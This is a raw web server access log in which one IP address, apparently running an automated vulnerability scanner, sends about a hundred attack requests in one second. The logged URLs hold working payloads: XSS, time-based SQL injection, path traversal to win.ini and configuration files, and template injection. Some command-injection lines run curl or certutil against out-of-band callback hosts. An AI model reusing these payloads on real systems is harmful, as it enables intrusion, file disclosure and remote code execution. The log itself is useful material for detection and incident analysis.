[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}} HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apply_sec.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/ssh_form.php?hostname=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Ctitle%3E HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/device_graph_page.php?graph=%22zlo%20onerror=alert(1)%20%22 HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/jh-404-logger/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ads/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/quiz-master-next/tests/_support/AcceptanceTester.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1 HTTP/1.1" 199
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /casa/nodes/thumbprints HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-comments-post.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /properties/?keyword_search=--!%3E%22%20autofocus%20onfocus%3Dalert(/380DIBHL9NFm6i0IjEZkDEB4p06/)%3B%2F%2F HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/daggerhart-openid-connect-generic/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/stop-spammer-registrations-plugin/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=ultimate-maps-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /javax.faces.resources/web.xml.jsf?con=/../../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /magmi/web/info.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/..%2fcgi/cgi_i_filter.js?_tn={{trimprefix(base64_decode(httoken), HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /objects/oizoa.txt HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tour-list/?keywords=%3Cinput%2FAutofocus%2F%250D*%2FOnfocus%3Dalert%28123%29%3B%3E&start_date=xxxxxxxxxxxx&avaibility=13 HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=acymailing_front&ctrl=frontusers&ctrl=frontusers&noheader=1&user[email]=example@mail.com&task=subscribe&option=acymailing&redirect=https://interact.sh&ajax=0&acy_source=widget%202&hiddenlists=1&acyformname=formAcym93841&acysubmode=widget_acym HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/giveasap/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1\"%20onmouseover=alert(document.domain)// HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BFd%B8%06%08;%7Bcurl,http://d5g6to2hausk1oj0j65gezcoap1q1puyr.oast.live+-H+%27User-Agent:+MEUC81%27%7D;%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BFd%B8%06%08;%7Bcurl,http://d5g6to2hausk1oj0j65g4c7wyd7t3qxso.oast.live+-H+%27User-Agent:+MEUC81%27%7D;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1" 199
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cf-scripts/scripts/ajax/package/cfajax.js HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?post_type=post&s=%22%3E%3Cscript%3Ealert(/380DIX2VA6aejiSecTdCCiCZAks/)%3C/script%3E+ HTTP/1.1" 3426
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lucee/admin/imgProcess.cfm?file=/../../../context/380DIUNlUMYhDH4TgqnZLeN2dQW.cfm HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /listings/?search_title&location&foodbakery_locations_position=filter&search_type=autocomplete&foodbakery_radius=10%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /community/?foro=signin&redirect_to=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?ct_mobile_keyword&ct_keyword&ct_city&ct_zipcode&search-listings=true&ct_price_from&ct_price_to&ct_beds_plus&ct_baths_plus&ct_sqft_from&ct_sqft_to&ct_lotsize_from&ct_lotsize_to&ct_year_from&ct_year_to&ct_community=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&ct_mls&ct_brokerage=0&lat&lng HTTP/1.1" 3426
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/jnews/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp1/home-18/?qtproxycall=https://oast.me HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=pollinsertvalues HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=%27/onerror=%27alert(document.domain)%27/b=%27 HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27380DIEuGGqn5jHaat0a7rEGrHb8%27)> HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?author=1 HTTP/1.1" 3426
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22 HTTP/1.1" 3426
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hystrix/;a=a/__$%7BT%20%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22certutil%20-urlcache%20-split%20-f%20http://d5g6to2hausk1oj0j65gt3xiu5h5j1i5p.oast.live%22%29%7D__::.x/ HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/pie/v1/login HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /AurallRECMonitor/services/svc-login.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /realms/master/clients-registrations/default HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927544507 HTTP/1.1" -
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=get_question&question_id=1%20AND%20(SELECT%207242%20FROM%20(SELECT(SLEEP(7)))HQYx) HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1" 3426
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wc-multivendor-marketplace/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /run HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/bello/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /druid/indexer/v1/sampler HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(6) HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /omni_success?cmdb_edit_path=\");alert('document.domain');// HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20- HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /analytics/telemetry/ph/api/hyper/send?_c&_i=test HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lucee/380DIUNlUMYhDH4TgqnZLeN2dQW.cfm HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=tp_tp&e=g&m=s&tl=en&q=<img%20src%3dx%20onerror%3dalert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /adminer.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/elementor/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/anycomment/v1/auth/wordpress?redirect=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/scripts/ajax/package/cfajax.js HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apply_sec.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=wp_ajax_rsvp-form&tribe_tickets_redirect_to=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}} HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin.php?page=contest-gallery/index.php&users_management=true&option_id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20AND%20(SELECT%205921%20FROM%20(SELECT(SLEEP(6)))LxjM)%20AND%20(7754=775&type=json HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adserve/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/kaswara/fonts_icon/hxbmbs/cm.php HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27 HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/380DIEuGGqn5jHaat0a7rEGrHb8/);marmoset.embed(%27a HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/webp-converter-for-media/includes/passthru.php?src=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=rtec_send_unregister_link HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]=<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=chaty-contact-form-feed&search=%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/snapshots HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /misc.php?action=showpopups&type=friend HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ics?tool=search&query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /javax.faces.resources/faces-config.xml.jsf?loc=/../../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wpcargo/includes/380DIQgxOu1iGaaXFgjHPltX2OE.php HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owa/auth/x.js HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/imagements/images/380di8ujo09ut3ftmjjxbhoz4io.php HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /contactus.php HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/workreap-temp/380DI9VQJShJa6stWzpYb7lnBcp.php HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s/380DIDuaYHArhMbdwjvrTBx7Vlq/_/;/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s/380DISyUhirLd10cwgj2WXRhOaT/_/;/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27380DIG0jNOATBXUACDx0Yz2tSf3%27)%3C/script%3E HTTP/1.1" 196
